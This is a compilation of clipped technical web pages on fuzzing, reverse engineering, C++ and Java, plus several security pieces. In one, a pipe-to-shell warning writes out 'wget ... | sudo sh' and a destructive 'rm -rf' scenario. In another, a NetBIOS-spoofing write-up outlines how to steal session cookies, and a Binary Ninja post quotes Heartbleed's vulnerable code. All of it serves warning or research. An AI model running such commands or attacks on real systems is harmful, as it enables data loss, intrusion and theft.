the 2nd problem of http://projecteuler.net in a readable one liner :

> Find the sum of all the even-valued terms in Fibonacci which do not exceed
> four million.
[code]

    >>> euler2 = fib() | where(lambda x: x % 2 == 0) | take_while(lambda x: x < 4000000) | add
    >>> assert euler2 == 4613732
    
[/code]

Isn it pretty ?

Let now see how to create new pipeable functions using the @pipe decorator :  
You want to create a function that yields the first x elements from its input  
You want its usage to be \(1, 2, 3, 4, 5\) | take\(2\) to take the fist 2 elements.  
I know that you are thinking about a basic implementation like :

[code]

    def take(iterable, qte):
        for item in iterable:
            if qte 
    >
     0:
                qte -= 1
                yield item
            else:
                return
    
[/code]

Right ? You take an iterable, a qantity, and while the quantity is not
reached, you just have to yield ?  
OK, just add @pipe to you take function and it’s pipeable :-\)

# piscou/FuzzWin · GitHub

**Created:**| _6/11/2014 10:11:49 AM_  
---|---  
**Updated:**| _6/11/2014 10:11:49 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification Fuzzer symbolic exec_  
  

# FuzzWin

Auteur : Sébastien LECOMTE  
Version 1.5 du 04/06/2014

* * *
##  Installation

  1. Télécharger PIN pour Windows, kit "vc11" version 2.13-62732  
\(http://software.intel.com/sites/landingpage/pintool/downloads/pin-2.13-62732-msvc11-windows.zip\)

  2. Télécharger Microsoft Z3 \(http://z3.codeplex.com/releases\) 
  3. Extraire les deux archives et définir les variables d'environnement système PIN\_ROOT et Z3\_ROOT pointant vers la racine des dossiers idoines.
  4. compiler les sources \(solution Visual Studio 2012\) en fonction de l'architecture cible 32 ou 64bits.

  * la compilation du mode GUI necessite l'installation de Qt version 5.2. Les DLL sont fournies dans les dossiers x86 et x64 du dépot
  * le mode x64 necessite la compilation du pintool en mode 32 et 64 bits

##  Utilisation

FuzzWin peut s'exécuter en mode graphique ou ligne de commande. Pour plus
d'informations sur les options, taper fuzzwin.exe -h

##  Licence

FuzzWin est un projet libre sous licence GPLV2 \(cf fichier LICENSE à la
racine du dépot\). FuzzWin utilise PIN, dont la licence d'utilisation figure
dans le package téléchargé. Un rappel de la licence de PIN figure dans le
fichier main.cpp du pintool

##  Contact

cyberaware@laposte.net

# Reverse Engineering Mentoring - Scratchpad Wiki Labs - Free wikis from Wikia

**Created:**| _12/9/2010 9:15:39 PM_  
---|---  
**Updated:**| _12/9/2010 9:16:11 PM_  
**Author:**| __  
**Tags:**| _reversing Tutorials_  
  

# Reverse Engineering Mentoring

This is a project to mentor people on reverse engineering of software. We will
focus on Windows malware.

This is for people who have no reverse engineering skills.

Mentoring doesn't mean that we will be making a tutorial. We will point you in
the right direction, but you will have to study topics we mention on your own.
For example, you need to be able to read assembly language. We will point you
to assembly language tutorials and mention particular points you should study.
You can add your own insights and links to this Wiki.

And you can ask questions, of course. Although it is not required, please
create an account to edit this Wiki, this makes it easier for us to know who
posts questions.

There is a Wikibook on Reverse Engineering \[1\]

I will start the mentoring by pointing you to free tools and by creating some
exercises.

My name is Didier Stevens, I have a gmail address and a blog
https://DidierStevens.com.

* * *
  * Reverse Engineering Mentoring Lesson 001
  * Reverse Engineering Mentoring Lesson 002
  * Reverse Engineering Mentoring Lesson 003
  * Reverse Engineering Mentoring Lesson 004

## Unpacking and Decrypting with IDA<img src='img/Temp2_6863.gif' alt='Edit
href=' /> Edit

  * Does anyone have any good pointers or references to unpacking and decrypting malware, especially with IDA? \(PDF reference here\) 
    * there's static and dynamic unpacking. The rest should be easy to search \(searching is part of RCE\). Maybe the Titan-Framework \(has C++ code that applies generic unpacking methods\) is helpful. IDA is not a general all-in-one-wonder tool.

## Read more

  * Now we will modify example rem002.c to work with a global variable: int a; main\(int argc, char \*\*arg
Reverse Engineering Mentoring Lesson 004

  * Reverse Engineering Mentoring Lesson 002
  * Reverse Engineering Mentoring Lesson 001

# Fahrenheit's excercises: Improving performance of std::vector

**Created:**| _6/26/2012 9:28:03 AM_  
---|---  
**Updated:**| _6/26/2012 9:28:03 AM_  
**Author:**| __  
**Tags:**| _optimisation_  
  

### Improving performance of std::vector

This article tells about a simple yet efficient way to optimize many cases of
using **std::vector** by replacing it with the class that has very similar
interface. That makes the transition trivial.  
Cases that benefit from this optimization are:  

  1. Working with very small vectors, e.g. when vector grows up to few items in majority of cases, but should not be limited in size anyway \(e.g. by using **std::array**\);
  2. Heavily-used stack-based vectors.

##  In-depths look at std::vector

Most vectors implementation \(I said 'most', but I don't know a single one
that differs significantly\) have a memory layout that is similar to the
following:  

<img src='img/Temp2_3098.png' width='320' height='283' alt='std::vector memory
layout' />

  
There are two separate memory blocks:  

  * First one contains pointer to the first item, pointer that points past the last item and pointer that points past the end of allocated buffer. It might be allocated on stack if **std::vector** is declared as local variable;
  * Second block contains all items and its size equals to total size of all items that the vector reserved memory for.

Note that actual contents of first block are implementation-specific, e.g.
some implementations prefer to store vector size as an additional field. Also
_Alignment padding_ is optional variable-sized block and its size depends on
compiler, run-time and target platform.  
This is very good and robust implementation.  
The problem with that implementation is that it requires dynamic memory
allocation when the first item is added to the vector and also when reserved
space is not enough expand a vector with new items.  
This is usually not a problem because most of all **std::vector**
implementations are clever enough not to grow linearly \(e.g. by only 1 item
when new item is added\), and they tend to grow exponentially.  
Also there is a well-known function **reserve\(\)** method that allows to
reserve certain amount of memory at the convenient time to make sure adding
new items is not slowed down by memory allocations.  
However there are few problems that still arise even when using
**reserve\(\)** properly:  

  * There are still two memory blocks allocated instead of one. And each allocation brings memory overhead. Look into this post to see overhead estimations for few compilers and environments;
  * As reservation size grows memory overhead for the whole system grows too \(especially when majority of vectors are empty in run-time\). 

##  Small vector optimization

While I was looking at the performance-critical piece of code that dealt with
syntactic analysis of natural language texts I noticed that most of
**std::vector** s aggregated within syntactic node class are very small \(e.g.
in roughly 50% of cases they were empty, and in 49% of cases they grew just to
contain 1 item\).  
I though that it would be great to get this item pre-allocated at the same
memory block as the main vector.  
This will improve both performance \(because of reduced number of allocations
**and** better data locality\) and memory consumption of the system \(as
syntactic trees gets very big when dealing with larger texts\).  
After quick search I found that llvm project has exactly what I was looking
for.  
It has the class called **llvm::SmallVector** that implemented following
concept:  

  1. During template specialization number of items that should be pre-allocated is specified;
  2. **llvm::SmallVector** can grow up to the pre-allocated size without additional dynamic memory allocations;
  3. If items are added above the pre-allocated size new memory block is allocated on heap and all items are copied there.

That was exactly what I was looking for. Putting this class in place of
**std::vector** was trivial, I just had to replace original declaration  

[code]

        typedef std:vector<CAnnotation*> AnnotationPtrVector;
[/code]

with the new one  

[code]

        typedef llvm::SmallVector<CAnnotation*, 1> AnnotationPtrVector;
[/code]

Please note that I was dealing with the vector of pointers, so the one pre-
allocated pointer occupied exactly the same space as was previously occupied
with _Alignment padding_ memory block in original vector, so
**sizeof\(AnnotationPtrVector\)** did not change \(for some additional details
on this please read on\).  
Obviously the performance increase was huge \(the part that filled such
vectors got twice faster, and overall system performance increase was about
10%\).  
Here is the memory layout of **llvm::SmallVector** class in two cases - when
one item is added \(and one is pre-allocated\), and when more than 1 items are
added.  

<img src='img/Temp2_3099.png' width='400' height='193' />

  
Note that the latter case is very similar to original **std::vector** 's
layout.  

##  Stack-based vector optimization

Another possible application of **llvm::SmallVector** class is heavily-updated
vectors that are allocated on stack, e.g. to store some temporary data for
further processing.  
In this case we are \(mostly\) unrestricted with number of pre-allocated items
\(as long as the function is non-recursive\), and can completely get rid of
dynamic memory allocations even for hundreds of items.  
This, of course, yields great performance results \(and also reduces heap
fragmentation levels\).  

##  Further improvements to llvm::SmallVector

When I looked at **llvm::SmallVector** I noticed few problems that I had to
fix to make it applicable for my projects:  

  1. The minimum number of pre-allocated items was two, not one, so all my vectors grew substantially when replaced with **llvm::SmallVector;**
  2. My application was a long-running server app so it used pools to store unused objects to reduce number of dynamic memory allocations. The problem that usual way to free all memory allocated for vec which is **std::vector** :
[code]    std::vector<…>().swap(vec)

[/code]

did not work for llvm::SmallVector.

So I had to make a few tweaks to overcome these issues. Updated source code
could be downloaded here. It has the same license as original code from LLVM,
so you can freely use it in any open- or closed-source applications.  
The only drawback of my modifications is that when we try to pre-allocate only
1 item zero-sized array is created within a **llvm::SmallVector** instance,
and it produces a warning on the most compilers.  
Also it might make sense to get rid of Boost dependency, but I believe that
Boost is used in many modern C++ projects, so did not waste time on it.  

##  Other implementations

Recently I have found a class that implemented exactly the same concept in
Folly C++ library released for public use by Facebook.  
I saw few issues with it, but it might be still usable in certain projects \(I
bet it is, as Facebook uses this library internally\):  

  1. It's dynamically allocated memory block can't be freed with usual **swap\(\)** trick I mentioned above
  2. It makes a heavy use of Boost MPL which might not be available in all projects
  3. Many of the methods are surrounded by**try / catch\(…\)** blocks which might hide memory errors and also reduce performance \(for Visual C++-compiler projects at least\).

Please let me know if you come by similar classes in other libraries, I will
add more to the article.  
  
Happy optimizing\!

# CoolCommands in Visual Studio 2008

**Created:**| _11/3/2009 10:24:59 AM_  
---|---  
**Updated:**| _11/3/2009 10:25:21 AM_  
**Author:**| __  
**Tags:**| _Hacks programming visualstudio_  
  

CoolCommands in Visual Studio 2008

After installing VS2008, I quickly noticed the absence of some of my favorite
IDE helpers.

  * How do I copy project references between projects?
  * How do I locate the current document in the solution explorer, without turning on that annoying "track active" option

No problem.. I'll just reinstall CoolCommands, or as I like to call it
"Commands That Microsoft Should Have included, but didn't"

For the uninitiated, learn about coolcommands here
-->http://weblogs.asp.net/GMilano/archive/2006/02/27/439208.aspx

so first of all, I had a heck of a time finding a version available for
download. Luckily I know some one who's much better an googling than I...
CoolCommands download is available here -->
http://download.deklarit.com/files/gmilano/coolcommands40.zip. I've mirrored
the setup.zip on my site as well

There is an issue with the install.bat however. This version was meant to
install into vs2005. To install coolcommands for VS2008, modify the setup bat
file. Replace the line that begins regpkg  with this

regpkg CoolCommands.dll /root:Software\Microsoft\VisualStudio\9.0 /codebase

run the setup and start up vs2008 and off you go.

I'm back in CoolCommand splendor.

# Digital Security Research Group: NetBIOS spoofing for attacks on browser

**Created:**| _1/31/2012 7:20:11 PM_  
---|---  
**Updated:**| _1/31/2012 7:20:23 PM_  
**Author:**| __  
**Tags:**| _windows security pentest network-security oldskool_  
  

### NetBIOS spoofing for attacks on browser

Sometime ago during pentest NetBIOS protocol got my attention. Especially,
NetBIOS naming and its co-work with DNS.  
NetBIOS is an old protocol, distributed world-wide, but it doesn’t have many
security mechanisms. And I think that many interesting things are born in
different technologies’ interception. So I started a little research and I
want to show some results of it.  
  
NetBIOS Intro  
First of all, there is some common information about NetBIOS.  
From wiki:  
“NetBIOS is an acronym for Network Basic Input/Output System. It provides
services related to the session layer of the OSI model allowing applications
on separate computers to communicate over a local area network As strictly an
API, NetBIOS is not a networking protocol.”  
NetBIOS protocol provides some services, including Name Service. It is
responsible for resolving of NetBIOS names to IP-address. Name Service
operates on UDP port 137. So it’s analogue to DNS.  
NetBIOS Name can include any alphanumeric characters except:  

> \ / : \* ? " ; | + space
Max Name length is 15 characters.  
Name resolution can be done either by a special WINS server \(NetBIOS Name
Server\) or a broadcast request. But the second method is often used.  
A NetBIOS request has «Transaction ID» field with a unique identifier. So,
when somebody tries to resolve NetBIOS name, Windows sends a broadcast request
and we can catch it and send a reply with any IP-address. It is a NetBIOS Name
Service-spoofing \(NBNS\) attack – a classic Man-in-the-middle attack.  
In addition, NetBIOS is enabled by default in all Windows systems.  
  
Old Tricks  
When I got into the NetBIOS-protocol, I’ve got an idea to create a Metasploit
module to perform NBNS-spoofing, but Tim Medin passes ahead of me :\) Almost a
year ago, he created that module \(auxiliary/spoof/nbns/nbns\_response\). In
addition, he wrote a great post about using of NBNS-spoofing for NTLM-relay
attack. A bit later I’ll add his trick to SMBRelay Bible, if he accepts it :\)  
Then I tried to improve his ideas…  
  
Tim wrote two interesting details.  
The first is a sequence of resolution IP-addresses in Windows OS:  
1\) local hosts file - C:\Windows\System32\drivers\etc\hosts  
2\) DNS  
3\) NetBIOS Name Service  
  
Secondly, all modern browsers have “intelligent address bar”. This bar is used
as address bar and as a search bar at the same time. When a user enters a word
in it, a browser tries to access a host with such name and only then it tries
to search this word.  
For example, if I enter “dsecrg” in address bar of my browser, it tries to get
IP-address of “dsecrg” by DNS, then by NetBIOS Name Service and after all
“dsecrg” is gone to default search engine.  
  
<img src='img/Temp2_2251.jpg' alt='alt' />  
  
Therefore, we can use a NBNS-spoofing attack and send reply with our IP-
address to user’s browser, when it tries to resolve “dsecrg” by NBNS. Then
user’s browser connects to our web-server.  
  
New Tricks  
But let’s go forward. As we can see, if Windows can’t perform IP-resolution
via DNS, it tries NBNS.  
And what will be if we try to connect to aaa.google.com?  
  
<img src='img/Temp2_2250.jpg' alt='alt' />  
  
There is analogue situation. DNS is the first, NBNS is the second… And we can
spoof Internet addresses\! So, there we have that NBNS-spoofing is analogue to
DNS-spoofing.  
  
Is NBNS-spoofing attack better than DNS-spoofing?  
No, it is not. Because NBNS-spoofing attack has some rough limitations:  
1\) It works only in local networks  
2\) It has hostname length limitation \(15 characters\)  
3\) It can spoof only hostnames which DNS can’t resolve. But we can bypass
this limitation, if we can make DoS attack on DNS server.  
  
By the way, NBNS-spoofing attack can be very useful in some situations. The
main plus of this attack is that it doesn’t send any illegal traffic. DNS-
spoofing or arp-poisoning are “aggressive” attacks and perform much “bad”
traffic. So, it’s harder to detect NBNS-spoofing attack by IPS/IDS systems. In
addition, it can be useful when DNSSEC is used in a network.  
  
Ok, but what can we gain with NBNS-spoofing’s limitations?  
Yes, we can spoof only hostname which it can’t find via DNS \(without DoS of
DNS server\), but we can spoof subdomains\! And it is enough for us.  
There is a list, what we can do, if we can spoof subdomain of attacking domain
and “redirect” user to our web-server.  
  
1\) Stole session cookie  
Cookies can be set to all subdomains of a domain \(domain=.foo.com;\). So if
we spoof a subdomain of a domain, browser sends us a victim’s session cookies.  
Therefore, if a cookie is set without a domain-field \(such situation is very
often\), Internet Explorer sets them to a domain and all its subdomains. But,
by RFC, IE should set it only to current domain. \(Researched by @D0znpp\)  
As we can see, we can steal cookies very often.  
  
2\) Session Fixation  
Same Origin Policies set an interesting exception to cross domain interaction
rules. Subdomain can set \(and rewrite\) a cookie of domain. For example,
aaa.google.com can set cookie to google.com, but couldn’t set to
bbb.google.com or zzz.aaa.google.com.  
We can use it.  
If a web-application of a server has session fixation vulnerability, we can
spoof subdomain of this server and set cookie to it.  
  
\*A strange moment. During test I was trying to set cookie to “localhost” from
subdomain of localhost, but I couldn’t do it.  
  
3\) Cross domain policies bypass.  
It is a frequent situation, when \* is used for domain in crossdomain.xml.  
For example, adobe.com:  
<allow-access-from domain="\*.adobe.com">  
We can spoof subdomain \(aaa.adobe.com\) and get full session riding via
Flash.  
  
4\) Phishing  
Classic phishing attacks…  
  
Catch a user  
In all these attack vectors, we have a little problem. How to enforce user to
come to our \(fake\) subdomain? For resolving the problem, we can use a NBNS-
spoofing attack :\)  
Example of cookie stealing for example.com:  
1\) Run NBNS-spoofing against all domains  
2\) Run our web-server with a little script, which should:  
\- Collect incoming cookies \(sorted by Host http-request field\)  
\- Reply a simple html page with hidden iframe with “src=aaa.example.com”  
3\) When user inserts into browser any inexistent domain name, our NBNS-
spoofing attack will work and his browser will come to our web-server. Then
the browser will try to open aaa.example.com, NBNS-spoofing attack will work
again and we’ll get cookies from example.com.  
  
Outro  
NBNS-spoofing attack is an interesting stuff and it’s not looking too hard to
realize such attacks in real life.  
  
I’ll be glad if my research will be interesting and useful for anyone :\)  
By the way, I would like to thank @D0znpp for his help\!  
  
  
And thank you, for your attention.  
Alexey Tyurin

# CERIAS - Signature Analysis Coupled With Slicing Analysis for the Validation
of Software

**Created:**| _7/31/2009 9:15:30 PM_  
---|---  
**Updated:**| _7/31/2009 9:15:47 PM_  
**Author:**| __  
**Tags:**| _reversing_  
  

# Signature Analysis Coupled With Slicing Analysis for the Validation of
Software

## Adam Dugger  
Arxan

### October 15, 2008 8:30 pm

### _Part of the CERIAS Security Seminar series »_

### Video

<img src='img/Temp2_1274.png' width='32' height='32' alt='Video Icon' />
Download MP4 Video \(iPod-compatible\)

### PDF

<img src='img/Temp2_1273.png' width='32' height='32' alt='Presentation Icon'
/> View PDF

### Abstract

What if you could determine exactly where, in any compiled binary, a security
threat existed?  
  
Answering this question has been the fundamental goal of anti-virus software
for many years past, with limited success. Instead, what if you could
determine not where security threats do exist, but where they could possibly
exist? This is certainly a step in the right direction for total software
security -- one which puts us well on our way to being able to develop
applications safe against hidden malicious code. All of this is possible with
the machine code analysis methodology known as Signature Analysis.  
  
However, consider the following question: What if you could determine exactly
where, in any compiled binary, a security threat might exist, and, further,
precisely what this threat might affect later in the application’s execution?  
  
This information can be retrieved by combining the capabilities of Code
Slicing Analysis with the previously mentioned Signature Analysis. This
paradigm not only assists in hardening against currently known threats, but it
also identifies areas that are affected by those threats.  
  
These principles form the framework for a novel static technique for ensuring
software integrity. The goal of this seminar is to present these ideas and to
discuss possible future applications.  

### About the Speaker

Adam Dugger graduated from Purdue University with a double major in Computer
Science and Mathematics in May of 2007. Adam now works for Arxan Defense
Systems on a variety of research projects. His presentation focuses on the use
of Signature Analysis coupled with Slicing Analysis for detection of malicious
code. He has applied known techniques used in anti-virus scanners for use in
system integrity checking.

### Location

STEW G52, Purdue University, West Lafayette, IN

<img src='img/Temp2_1271.png' alt='the CERIAS infosec graduate program' />

## <img src='img/Temp2_1275.png' width='16' height='16' alt='XML Feed'
/>Current News

  * Spafford Receives CRA Service Award
  * CERIAS Students Honored by CETA
  * More News »

## <img src='img/Temp2_1275.png' width='16' height='16' alt='XML Feed' />Blog

  * Beware SQL libraries missing prepared statement support
  * Other cybersecurity legislation in the U.S.
  * More Posts »

<img src='img/Temp2_1272.png' alt='CERIAS Learning Products' />

## <img src='img/Temp2_1275.png' width='16' height='16' alt='XML Feed'
/>Upcoming Events

  * 2009-08-26 Ian Goldberg, University of Waterloo
  * 2009-09-02 Ragib Hasan, University of Illinois at Urbana-Champaign
  * Events Calendar »

  

# LLVM Project Blog: Simple guided fuzzing for libraries using LLVM's new
libFuzzer

**Created:**| _4/10/2015 6:43:21 PM_  
---|---  
**Updated:**| _4/10/2015 6:43:21 PM_  
**Author:**| __  
**Tags:**| _Fuzzer llvm_  
  

# Simple guided fuzzing for libraries using LLVM's new libFuzzer

Fuzzing \(or fuzz testing\) is becoming increasingly popular. Fuzzing Clang
and fuzzing Clang is not new: Clang-based AddressSanitizer has been used for
fuzz-testing the Chrome browser for several years and Clang itself has been
extensively fuzzed using csmith and, more recently, using AFL. Now we’ve
closed the loop and started to fuzz parts of LLVM \(including Clang\) using
LLVM itself.  
  
LibFuzzer, recently added to the LLVM tree, is a library for in-process
fuzzing that uses Sanitizer Coverage instrumentation to guide test generation.
With LibFuzzer one can implement a guided fuzzer for some library by writing
one simple function:

extern "C" void TestOneInput\(const uint8\_t \*Data, size\_t Size\);

We have implemented two fuzzers on top of LibFuzzer: clang-format-fuzzer and
clang-fuzzerClang-format is mostly a lexical analyzer, so giving it random
bytes to format worked perfectly and discovered over 20 bugs. Clang however is
more than just a lexer and giving it random bytes barely scratches the
surface, so in addition to testing with random bytes we also fuzzed Clang in
token-aware mode. Both modes found bugs; some of them were previously detected
by AFL, some others were not: we’ve run this fuzzer with AddressSanitizer and
some of the bugs are not easily discoverable without it.

Just to give you the feeling, here are some of the input samples discovered by
the token-aware clang-fuzzer starting from an empty test corpus:

static void g\(\)\{\}

signed\*Qwchar\_t;

overridedouble++\!=~;inline-=\}y=^bitand\{;\*=or;goto\*&&k\}==n

int XS/=~char16\_t&s<=const\_cast<Xchar\*>\(thread\_local3+=char32\_t

Fuzzing is not a one-off thing -- it shines when used continuously. We have
set up a public build bot that runs clang-fuzzer and clang-format-fuzzer 24/7.
This way, the fuzzers keep improving the test corpus and will periodically
find old bugs or fresh regressions \(the bot has caught at least one such
regression already

The benefit of in-process fuzzing compared to out-of-process is that you can
test more inputs per second. This is also a weakness: you can not effectively
limit the execution time for every input. If some of the inputs trigger
superlinear behavior, it may slow down or paralyze the fuzzing. Our fuzzing
bot was nearly dead after it discovered exponential parsing time in clang-
format. You can workaround the problem by setting a timeout for the fuzzer,
but it’s always better to fix superlinear behavior.

It would be interesting to fuzz other parts of LLVM, but a requirement for in-
process fuzzing is that the library does not crash on invalid inputs. This
holds for clang and clang-format, but not for, e.g., the LLVM bitcode reader.

Help is more than welcome\! You can start by fixing one of the existing bugs
in clang or clang-format \(see PR23057, PR23052 and the results from AFL\) or
write your own fuzzer for some other part of LLVM or profile one of the
existing fuzzers and try to make it faster by fixing performance bugs.

Of course, LibFuzzer can be used to test things outside of the LLVM project.
As an example, and following Hanno Böck’s blog post on Heartbleed, we’ve
applied LibFuzzer to openssl and found Heartbleed in less than a minute. Also,
quite a few new bugs have been discovered in PCRE2 \( 1, 2, 3, 4, 5, 6, 7, 8,
9, 10, 11\), Glibc and MUSL libc \( 1, 2\)

Fuzz testing, especially coverage-directed and sanitizer-aided fuzz testing,
should directly compliment unit testing, integration testing, and system
functional testing. We encourage everyone to start actively fuzz testing their
interfaces, especially those with even a small chance of being subject to
attacker-controlled inputs. We hope the LLVM fuzzing library helps you start
leveraging our tools to better test your code, and let us know about any truly
exciting bugs they help you find\!

# existential type crisis : Don't Pipe to your Shell

**Created:**| _11/1/2013 8:59:57 AM_  
---|---  
**Updated:**| _11/1/2013 8:59:57 AM_  
**Author:**| __  
**Tags:**| _setup scripting opinion_  
  

# **e** xistential type crisis****

Piping wget or curl to bash or sh is stupid**.** Like this:

[code]

    wget -O - http://example.com/install**.** sh | sudo sh
    
[/code]

It's  everywhere **.** Sometimes they tell you to ignore certificates as well
\(looking at you, Salt\)**.** That's dumb.

The main reason I think it's dumb \(other than running arbitrary commands on
your machine that could change based on user agent to trick you\) is its
failure mode**.**

What happens if the connection closes mid stream**?** Let's find out.

[code]

    (echo -n "echo \"Hello\""; cat) | nc -l -p 5555
    
[/code]

This will send a command to whoever connects, but won't send the newline**.**
Then, it'll hang. Let's connect the client:

[code]

    nc localhost 5555 | sh
    
[/code]

At first, nothing happens**.** Great. What will happen if we kill -9 the
listening netcat**?** Will sh execute the partial command in its buffer?

[code]

    nc localhost 5555 | sh
    Hello
    
[/code]

But what about wget, or curl**?**

[code]

    wget -O - http://localhost:5555 | sh
    --2013-10-31 16:22:38--  http://localhost:5555/
    Resolving localhost (localhost)..**.** 127.0**.** 0.1
    Connecting to localhost (localhost)|127.0.0**.** 1|:5555... connected.
    HTTP request sent, awaiting response... 200 No headers, assuming HTTP/0**.** 9
    Length: unspecified
    Saving to: `STDOUT'
    
        [          <=>                                                  ] 12          --**.** -K/s   in 8**.** 6s
    
    2013-10-31 16:22:47 (1.40 B/s) - written to stdout [12]
    
    Hello
    
[/code]

What if that partial command wasn't a harmless echo but instead one of these:

[code]

    TMP=/tmp
    TMP_DIR=`mktemp`
    rm -rf $TMP_DIR
    
[/code]

Harmless, right**?** And what if the connection closes immediately after 'rm
-rf $TMP' is sent**?** It'll delete everything in the temp directory, which is
certainly harmful**.**

This might be unlikely, but the results of this happening, even once, could be
catastrophic**.**

Friends don't let friends pipe to sh**.**

_Update_ : I updated the last example because it really made no sense**.**
Thanks to player2  and ZackMcAck  on reddit**.**

****

# The Degradation of Java Developers « Yakov Fain's Blog

**Created:**| _10/14/2012 4:05:36 PM_  
---|---  
**Updated:**| _10/14/2012 4:05:36 PM_  
**Author:**| __  
**Tags:**| _career Java programming_  
  

#

My notes about everything in IT

## The Degradation of Java Developers

with 4 comments

6 Votes

  

On multiple occasions I was blogging about these legions of enterprise Java
developers trained to use certain frameworks without understanding how things
work under the hood. This morning I had chance to see it one more time after
interviewing three job applicants in a row.

Our consulting company got a request for a well rounded Java developer with
the knowledge of SQL. We have good reputation with this client, so I started
screening the candidates, which I got from a recruiting agency.

First, about the resumes – each has several pages with detailed description of
their work for various employers. Each resume had a list of technologies that
the candidate supposedly know. Here’s the list of technical skills from a real
resume:

Core Java, J2EE, JSP, JDBC, Servlets, AJAX, XML, HTML, XSLT, Web Services,
CSS, JavaScript, SQL, Oracle 10g, MySQL 5.0., JMS,Eclipse, Adobe Flex Builder
3.x,UML, JDBC, SVN, JUnit, VSS, Jira, HTML, DHTML, CSS, AJAX, JavaScript, XML,
MXML, Action Script, Servlet, JSP, JSTL, Hibernate 3.x, Spring 2.x, IBatis,
SOAP, UDDI, WSDL, Apache Axis, Web logic Server 8.x, Apache Tomcat 5.0, Struts
Framework, MVC, ANT, Maven.

Looks impressive… for those who haven’t been interviewing Java developers. I
don’t want to say that this candidate is lying, but he wasn’t able to maintain
a conversation about 80% of these technologies for more than 3 minutes.
They’ve heard or even tried working with these technologies or tools, which is
all that’s needed for adding them to the resume. What are the remaining 20%
they can talk about? The frameworks. Most likely they will explain how to
configure Struts or Spring, and even how to make Spring talk to Hibernate.
BTW, they all love Hibernate cause it spares them from writing SQL, speaking
of which, they know very little about this query language.

When I see all these Struts, Springs, and Hibernates on the resume I start
with this, “Imagine, that you’re not allowed to use any frameworks. Explain in
details the entire process of bringing the data from DB tables Customers and
Orders to the Web page”. For most people it’s a killer proposition let alone
writing some SQL queries…

One person had JQuery on the resume. I asked her, “Why did you use jQuery”…20
sec pause…”I like it, it’s nice\!” That all I could pull out from her on the
subject.

Two weeks ago I’ve attended a technical keynote at JavaOne in San Francisco.
Brian Goetz was showing code samples of Lambda Expressions \(a.k.a. closures\)
that will be introduced to Java 8 next year. This is a pretty advanced feature
and proposed Java syntax is not for the faint of heart. I was thinking to
myself, “Who’s going to use these closures in the enterprise Java world? 10%
of the developers? 5%?”. Are these expressions being introduced just for fun
cause it’s cool and other functional languages have them?

<img src='img/Temp2_7982.png' width='700' height='390' />

Software development industry is changing. It doesn’t need hackers anymore. It
needs craftsmen who can configure and replace blocks of code when something
stops working. Ideally, you should have in your team one Java expert who can
actually understand the code of your application and can fix it not on the
block level, but can drill down to a single line of the Java code. Somehow
such people also know how to write a SQL outer joins, how to fix the broken
build, and whatever else may come up.

A typical enterprise manager wants to increase the population of his software
developers. Managing more people is the shortest way for moving up the career
ladder. It is what it is. But if you are smart enterprise manager, make sure
that for each dozen of framework programmers you have at least one real.

I already received a new resume for tomorrow’s 10AM interview. The resume
looks the same. The only lines I read are the names of the former employers
and projects. Any other written information is useless – the real picture will
start developing tomorrow at 10AM.

**Tomorrow’s Update.** It’s 10:15AM. Yet another interview is over. The fourth
wrong answer was that to send the data to the browser a servlet has to add it
as an attribute to the HTTPSession object. Do you think it would be rude to
stop the interview after listening to such answers for 10 minutes?

# Vulnerability Modeling with Binary Ninja

**Created:**| _4/4/2018 6:39:26 PM_  
---|---  
**Updated:**| _4/4/2018 6:39:26 PM_  
**Author:**| _wishi_  
**Tags:**| _Practical Software Verification reversing SMT_  
  

  

# Vulnerability Modeling with Binary Ninja

  * Post
  * April 4, 2018
  * Leave a comment

_This is Part 3 in a series of posts about the Binary Ninja Intermediate
Language \(BNIL\) family. You can read Part 1here and Part 2 here._

In my previous post, I demonstrated how to leverage the Low Level IL \(LLIL\)
to write an architecture-agnostic plugin that could devirtualize C++ virtual
functions. A lot of new and exciting features have been added to Binary Ninja
since then; in particular, Medium Level IL \(MLIL\) and Single Static
Assignment \(SSA\) form\[1\]. In this post, I’m going to discuss both of these
and demonstrate one fun use of them: automated vulnerability discovery.

Plenty of static analyzers can perform vulnerability discovery on source code,
but what if you only have the binary? How can we model a vulnerability and
then check a binary to see if it is vulnerable? The short answer: use Binary
Ninja’s MLIL and SSA form. Together, they make it easy to build and solve a
system of equations with a theorem prover that takes binaries and turns them,
alchemy-like, into vulnerabilities\!

Let’s walk through the process with everyone’s favorite hyped vulnerability of
yesteryear, Heartbleed.

## Hacking like it’s 2014: Let’s find Heartbleed\!

For those who might not remember or be familiar with the Heartbleed
vulnerability, let’s run through a quick refresher. Heartbleed was a remote
information-disclosure vulnerability in OpenSSL 1.0.1 – 1.0.1f that allowed an
attacker to send a crafted TLS heartbeat message to any service using TLS. The
message would trick the service into responding with up to 64KB of
uninitialized data, which could contain sensitive information such as private
cryptographic keys or personal data. This was possible because OpenSSL used a
field in the attacker’s message as a size parameter for `malloc` and `memcpy`
calls without first validating that the given size was less than or equal to
the size of the data to read. Here’s a snippet of the vulnerable code in
OpenSSL 1.0.1f, from `tls1_process_heartbeat`:

[code]

        /* Read type and payload length first */
        hbtype = *p++;
        n2s(p, payload);
        pl = p;
    
        /* Skip some stuff... */
    
        if (hbtype == TLS1_HB_REQUEST)
            {
            unsigned char *buffer, *bp;
            int r;
    
            /* Allocate memory for the response, size is 1 bytes
             * message type, plus 2 bytes payload length, plus
             * payload, plus padding
             */
            buffer = OPENSSL_malloc(1 + 2 + payload + padding);
            bp = buffer;
            
            /* Enter response type, length and copy payload */
            *bp++ = TLS1_HB_RESPONSE;
            s2n(payload, bp);
            memcpy(bp, pl, payload);
            bp += payload;
            /* Random padding */
            RAND_pseudo_bytes(bp, padding);
    
            r = ssl3_write_bytes(s, TLS1_RT_HEARTBEAT, buffer, 3 + payload + padding);
    
[/code]

Looking at the code, we can see that the size parameter \(`payload`\) comes
directly from the user-controlled TLS heartbeat message, is converted from
network-byte order to host-byte order \(`n2s`\), and then passed to
`OPENSSL_malloc` and `memcpy` with no validation. In this scenario, when a
value for `payload` is greater than the data at `pl`, `memcpy` will overflow
from the buffer starting at `pl` and begin reading the data that follows
immediately after it, revealing data that it shouldn’t. The fix in 1.0.1g was
pretty simple:

[code]

        hbtype = *p++;
        n2s(p, payload);
        if (1 + 2 + payload + 16 > s->s3->rrec.length)
            return 0; /* silently discard per RFC 6520 sec. 4 */
        pl = p;
    
[/code]

This new check ensures that the `memcpy` won’t overflow into different data.

Back in 2014, Andrew blogged about writing a clang analyzer plugin that could
find vulnerabilities like Heartbleed. A clang analyzer plugin runs on source
code, though; how could we find the same vulnerability in a binary if we
